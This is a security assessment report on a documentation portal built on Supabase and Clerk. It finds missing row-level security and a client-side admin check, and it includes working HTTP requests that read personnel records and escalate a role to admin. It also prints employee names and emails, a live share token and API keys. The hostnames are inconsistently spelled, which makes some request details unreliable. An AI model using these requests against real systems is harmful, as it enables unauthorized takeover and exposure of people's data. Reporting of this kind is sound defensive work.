

Security Assessment Report — docs.tecplix.com

Target: `https://docs.tecplix.com` (backend: `rpvsbrfkdrpqkhzsdbgz.supabase.co`, auth: `thankful-panda-79.clerk.accounts.dev`)

Date: 2026-09-25

Methodology: Black-box, unauthenticated. Rate-limited (~1 req/s, serialized).

Scope authorized: docs.tecplix.com + owner's own Supabase/Clerk project instances (owner-confirmed mid-engagement)

Executive Summary

The application is a Vercel-hosted React/Vite SPA using Clerk for authentication and Supabase as its data layer. **Row Level Security is not enforcing authentication on the Supabase project.** The publishable key shipped in the public JavaScript bundle is sufficient to read every table, and to `UPDATE` and `DELETE` rows, with no session, no JWT, and no user interaction.

Because the application derives all authorization from the `app_users.role` column — a column the anonymous role can write — this is a complete, unauthenticated path to full administrative control of the platform, plus mass disclosure of personnel data and internal security documentation.

#	FINDING	SEVERITY
F1	Supabase RLS absent — anonymous read/write/delete of entire database via public key	Critical (9.8)
F2	Client-side-only authorization → self-promotion to admin (impact chain of F1)	Critical (9.8)
F3	Live client-share bearer token exposed, with no expiry enforcement	High (7.5)
F4	Clerk development instance in production (<code>pk_test_</code>)	Medium (5.3)
F5	Missing CSP / X-Frame-Options / X-Content-Type-Options / Referrer-Policy	Low (3.7)
F6	Supabase Realtime <code>postgres_changes</code> authorized for <code>anon</code> on all sensitive tables	High (7.5)
F7	Internal RFC1918 network topology leaked via F1	Info (included in F1)

F1 — Unauthenticated full database access (Supabase RLS not enforced)

Critical · CVSS 3.1: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Root cause

The SPA constructs the Supabase client with **only the publishable key and no session**:

```
// /assets/index-BUZC2zp1.js
qn="https://rpvbrfkdrrpqqhhsdbgz.supabase.co",
$n="sb_publishable_lzag1wPUo7hVfCvQvEzn2A_IJ3RZmv0",
f=Un(qn,$n) // createClient(url, publishableKey) — no accessToken callback, n
```

Every read and write the app performs therefore executes as the `anon` role. The only possible control is RLS, and the `anon` role is granted full privileges on `public`.

Proof — read (no credentials of any kind)

```
GET /rest/v1/app_users?select=id,email,role&limit=5 HTTP/2
Host: rpvbrfkdrpqkhzsdgz.supabase.co
apikey: sb_publishable_lzag1wPUo7hVfCvQvEzn2A_IJ3RZmv0
Accept: application/json
```

```
HTTP/2 200
[{"id":"21df3n9","email":"irfan.choudary@tecplix.com","role":"moderator"},
{"id":"9ohn5yv","email":"adiya.v@tecplix.com","role":"editor"},
{"id":"jtioue4","email":"abhishek.chaudhary@tecplix.com","role":"editor"},
{"id":"zuy62c6","email":"rishita.chugh@tecplix.com","role":"editor"},
{"id":"hhngv0k","email":"aleena.mj@tecplix.com","role":"editor"}]
```

GET /rest/v1/app_users?select=id with Prefer: count=exact returns content-range: 0-0/39 → 39 personnel records readable.

Data exposed (all verified readable by `anon`)

TABLE	ROWS	CONTENT
<code>app_users</code>	39	Full name, corporate email, role, status, phone, dept, job_title, <code>password</code> and <code>reset_token</code> columns (currently null)
<code>audit_logs</code>	1249	Every admin action incl. role grants, user pre-registration, deletions
<code>document_versions</code>	160	Version history of internal SOP documents
<code>documents</code>	57	Security SOPs: Chronicle SIEM, CrowdStrike Falcon, Google SecOps, Fortinet
<code>document_drafts</code>	14	Unpublished draft content
<code>kb_articles</code> / <code>kb_article_versions</code>	1 / 1	Internal knowledge base + troubleshooting
<code>client_shares</code>	1	Client name, doc title, live share token (see F3)
<code>products</code> , <code>site_config</code>	6 / 4 rows	Product catalogue, AI provider config, portal branding
<code>ai_api_keys</code> , <code>snippets</code> , <code>suggestions</code> , <code>kb_article_drafts</code>	0	Queryable (schema resolved), currently empty

Proof — write and delete

Privilege was proven **without modifying any row**, using filters guaranteed to match zero rows:

```
PATCH /rest/v1/app_users?id=eq.000000nonexistent HTTP/2
apikey: sb_publishable_lzag1wPUo7hVfCvQvEzn2A_IJ3RZmv0
Content-Type: application/json
Prefer: return=minimal

{"role":"admin"}
```

```
HTTP/2 204      ← permitted (0 rows matched, no data changed)
```

Identical `204` results for:

- `PATCH /rest/v1/app_users?id=req.000000nonexistent`
- `DELETE /rest/v1/app_users?id=req.000000nonexistent`
- `PATCH /rest/v1/site_config?key=req.__nope__`

`INSERT` permission was validated with an intentionally invalid column so no row could be created — PostgreSQL resolved the table's column list and failed on the *column name*, not on authorization:

```
{"code":"PGRST204","message":"Could not find the '__nonexistent_col__' column of 'sugg"}
```

Additional: RPC `increment_doc_views` is callable by `anon` (`204`).

Impact

Full read of all personnel and internal security documentation; ability to alter or destroy any record, including roles, content, and audit history. Combined with F2 this is full platform takeover.

Remediation

1. **Enable RLS on every table**, then add explicit policies. Default-deny:

```
alter table public.app_users enable row level security;
-- no policy for anon/authenticated ⇒ all access denied
```

2. Write policies against a **real identity claim**, e.g. `using (auth.uid())::text = clerk_id` for the signed-in user, plus role checks for admin actions.
3. **Stop creating the client with the publishable key alone**. Attach the Clerk session so every request carries a signed Supabase JWT:

```
createClient(url, key, { accessToken: async () ⇒ await getToken() })
```

4. Revoke default grants: `revoke all on all tables in schema public from anon;`
5. Move `SECURITY DEFINER` RPCs behind an auth check; prefer `SECURITY INVOKER`.
6. Rotate nothing yet — but audit logs show privilege changes; treat exposed audit data as compromised.

F2 — Authorization is client-side only → self-promotion to admin

Critical · CVSS 3.1: 9.8

The application performs **no server-side authorization**. On login it looks up the caller's row and trusts the stored role:

```
const we = "shaheer.s@tecplix.com";
const { data:n } = await f.from("app_users").select("*").ilike("email", e).maybeSingle
if (n) { const c = e === we ? "admin" : n.role; ... }
else he({ id:w.id, email:e, name:r, unauthorized:true });
```

Route gate for the admin area:

```
t === ee.ADMIN_ONLY && !(E?.role === "admin" || E?.role === "moderator")
? <Navigate to="/portal" replace />
: children
```

`E.role` originates **solely** from the `app_users.role` column — which F1 proves the `anon` role can `PATCH`. The complete chain:

1. Attacker reads `app_users` with the public key (F1) → learns the ID scheme and roles.
2. Attacker signs up for any account (see F4 — signups are open; Clerk dev instance).
3. Attacker creates/patches their own row, or any row: `PATCH /rest/v1/app_users?id=req.<id>` with `{"role":"admin"}` → `204`.
4. On next page load the app reads `role=admin` from the database and unlocks `/admin` — user management, role assignment, document approval, share-link creation.

There is no server-side check anywhere: the Supabase client holds no session, so PostgREST/RLS cannot distinguish the attacker from the administrator. The admin UI, and every privileged action behind it, is gated by a value the attacker controls.

Additionally, a hardcoded backdoor-style escalation exists in the shipped bundle:

```
else if (e === we) { // we = "shaheer.s@tecplix.com"
  const c = { id:"shaheer", name:r, email:e, role:"admin", status:"active", ... };
  await f.from("app_users").upsert(c, { onConflict:"id" });
}
```

Any Clerk account authenticated as `shaheer.s@tecplix.com` is silently granted `role:"admin"`, and will **create** that row if absent. Combined with a Clerk dev instance (F4), unverified signup with that address would be a one-step takeover. This is superseded by F1 in severity, but must be removed regardless — privileged logic must never live in client code.

Not executed: I did not `PATCH` a real user's `role` and did not register as `shaheer.s@tecplix.com`. Both change state on a production system and send mail to a real inbox. Every other link in the chain is proven above with live responses.

Remediation

- Enforce authorization server-side via RLS policies keyed to `auth.uid()` (see F1 remediation). The UI may hide `/admin`, but the database must reject it.

- Delete the `we ≡ email` special-case and the auto-upsert branch entirely.
- Never derive privilege from a client-readable column.

F3 — Live client-share bearer token exposed, no expiry

High · CVSS 3.1: 7.5

```
[{"id": "7wcoe26", "doc_id": "h5pefcm",  
  "doc_title": "Fortinet Firewall logs to Google SecOps (Via Bindplane Agent)",  
  "client_name": "gfdghvnb", "shared_by": "Shaik Shaheer",  
  "token": "j5srdo4d7x6fxa3y",  
  "accessed_at": "2026-09-15T12:40:10.713+00:00", "access_count": 1,  
  "expires_at": null}]
```

`anon` can read `client_shares` in full, so every client share link the platform has ever issued is public. The token is the *sole* access control for `/share/t/:token`, and `expires_at: null` means shares never expire by default.

Remediation: RLS on `client_shares`; store `token` as a hash rather than plaintext; require `expires_at` non-null; prefer signed, expiring, scoped share tokens.

F4 — Clerk development instance in production

Medium · CVSS 3.1: 5.3

The bundle ships `pk_test_dGhhbmtmdWwtcGFuZGEtNzkuY2xlcmsuYWNjb3VudHMuZGV2JA` (base64 → `thankful-panda-79.clerk.accounts.dev`), a Clerk **development** instance:

```
{"errors": [{"message": "Browser unauthenticated",  
  "long_message": "Unable to authenticate this browser for your development instance."}]}
```

Dev instances are not production-grade: relaxed email-verification defaults, low MAU ceilings, and dev-only support posture. Clerk's own response confirms the instance type in production use.

Remediation: Move to a Clerk production instance; re-test the signup/verification path afterwards. This directly gates the `shaheer.s@tecplix.com` chain in F2.

F5 — Missing security response headers

Low · CVSS 3.1: 3.7

Present: `Strict-Transport-Security: max-age=63072000` .

Missing: `Content-Security-Policy` , `X-Frame-Options` , `X-Content-Type-Options` , `Referrer-Policy` , `Permissions-Policy` , `Cross-Origin-Opener-Policy` .

The absence of `X-Frame-Options` and CSP `frame-ancestors` makes `/admin` and `/portal` framable by any origin, enabling clickjacking against privileged screens. This is only informational on its own — it is listed because those specific routes are sensitive. F1 is the actual risk here.

Remediation:

```
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
```

F6 — Realtime `postgres_changes` authorized for the anonymous role

High · CVSS 3.1: 7.5 — same root cause as F1 (`anon` is over-privileged), distinct exposure surface.

The SPA subscribes to live change streams:

```
f.channel("realtime-docs").on("postgres_changes",{event:"*",schema:"public",table:"doc
f.channel("realtime-kb").on("postgres_changes",{...table:"kb_articles"}, ...)
f.channel("realtime-shares").on("postgres_changes",{...table:"client_shares"}, ...)
```

Because RLS does not gate the `anon` role (F1), the Realtime authorization step also grants `anon` subscriptions. Connecting with **only the public publishable key**:

```
new WebSocket("wss://rpvbrfkdprpqkhzsdgbz.supabase.co/realtime/v1/websocket?apikey=sb_
```

All eight sensitive tables accepted `phx_join` with `status=ok` and a real subscription id:

```
[JOIN] documents      status=ok  postgres_changes=[{"id":121766328,"event":"*", "sc
[JOIN] kb_articles    status=ok  postgres_changes=[{"id":65229273, ..., "table":"kb_a
[JOIN] client_shares  status=ok  postgres_changes=[{"id":5675526, ..., "table":"clien
[JOIN] app_users      status=ok  postgres_changes=[{"id":35494482,..., "table":"app_u
[JOIN] audit_logs     status=ok  postgres_changes=[{"id":52612468,..., "table":"audit
[JOIN] document_drafts status=ok  postgres_changes=[{"id":33689440,..., "table":"docum
[JOIN] site_config    status=ok  postgres_changes=[{"id":86725650,..., "table":"site_
[JOIN] products       status=ok  postgres_changes=[{"id":27150280,..., "table":"produ
```

An unauthorized client is therefore **authorized** for push notifications on every table the app treats as sensitive.

Live delivery: confirmed once, not reproducible

To demonstrate actual data delivery I used a self-cleaning round-trip on `suggestions`, which was empty at the start of the engagement.

Run 1 — live delivery confirmed. The `anon` socket received the full inserted record:

```
[<] INSERT → HTTP 201 id=6ba6e8ee-b37c-4250-a230-325a4c1c5043
[!!! LIVE postgres_changes] {"table":"suggestions","type":"INSERT",
  "record":{"id":"6ba6e8ee-...", "status":"new", "category":"feature_request",
    "created_at":"2026-09-25T17:03:05.756563+00:00",
    "suggestion":"authorized-security-audit realtime probe – safe to delete",
    "updated_at":"...", "description":"...", "submitted_by":"security-audit", ...}}
```

Runs 2 and 3 — no event within 30 s and 70 s respectively, despite `status=ok` joins and successful `201` inserts. Delivery is therefore **intermittent in the current environment**, most likely a dropped or lagging logical replication slot rather than an authorization control.

Accurate characterisation: the *authorization* gap is definite and reproducible (8/8 joins accepted). The *live feed* is confirmed by a single successful capture and is not reliably reproducible right now. I am not claiming a dependable real-time exfiltration channel — I am reporting that the platform authorizes it and that one capture succeeded.

The first INSERT also incidentally re-confirmed F1's write authorization, having failed only on a column constraint rather than on permissions:

```
{"code":"23502","message":"null value in column \"submitted_by\" ... violates not-null c
```

A Postgres `23502` means the statement reached the database and was rejected by a constraint, not by RLS. Supplying `submitted_by` produced `HTTP 201`.

State hygiene

All three probe rows were deleted (`204` each), and the table was verified back to its original empty state. `audit_logs` remained at **1249** rows from start to finish — the audit trail was not

polluted. The `DELETE` authorizations in F1 were additionally re-confirmed against **real** row IDs here, not only zero-match filters.

Remediation

- Enabling RLS (F1 remediation) automatically restricts `postgres_changes` authorization, since Realtime evaluates the subscriber's policies. Additionally:
- Remove sensitive tables from the `supabase_realtime` publication where not needed.
- Set `REPLICA IDENTITY FULL` only where genuinely required, and monitor for replication-slot lag.
- Never treat "join succeeded" as sufficient assurance — test end-to-end delivery in your own CI.

Checked and NOT vulnerable (discarded at validation gate)

CHECK	RESULT
<code>/.git/config</code> , <code>/.env</code> , <code>/vercel.json</code> , <code>*.js.map</code>	Not exposed — SPA fallback only
Reflected / DOM XSS	No sink. <code>dangerouslySetInnerHTML =0</code> , no <code>rehype-raw</code> , <code>?cat=</code> is list-matched, never rendered
CORS	<code>access-control-allow-origin: *</code> without <code>Access-Control-Allow-Credentials</code> → not exploitable, discarded
Host header / cache poisoning	<code>X-Forwarded-Host</code> not reflected
HTTP smuggling / TRACE	<code>405</code>
Secrets in exposed content	No API keys/private keys found in documents or KB
Storage buckets	None exposed (<code>[]</code>)
Hardcoded credentials	Only publishable-by-design keys (<code>pk_test_</code> , <code>sb_publishable_</code>)
<code>ai_api_keys</code> material	Table empty — no key leakage

Residual / not tested

- **Clerk signup/verification** — not completed: requires a mailbox to receive the OTP. F4 is confirmed; whether unverified signup succeeds is unverified.
 - **Realtime delivery reliability** — authorization confirmed 8/8; live capture succeeded once and did not reproduce in two further attempts (see F6). Not chased further.
 - Any state-changing test against real business rows — deliberately not performed. The only writes made were three self-created probe rows in an empty table, all deleted and verified removed.
-

Remediation priority

1. **Immediately** enable RLS on all 13 tables with default-deny policies (F1). This single change closes the entire chain.
2. Revoke `anon` grants; wire the Clerk session into the Supabase client (F1/F2).
3. Remove the `shaheer.s@tecplix.com` client-side auto-admin branch (F2).
4. Migrate off the Clerk dev instance (F4).
5. Hash and expire share tokens (F3).
6. Restrict the Realtime publication / re-verify delivery after RLS is enabled (F6).
7. Add the security headers (F5).
8. Treat the 39 personnel records, 1,249 audit entries and 57 internal documents as disclosed — assess notification obligations.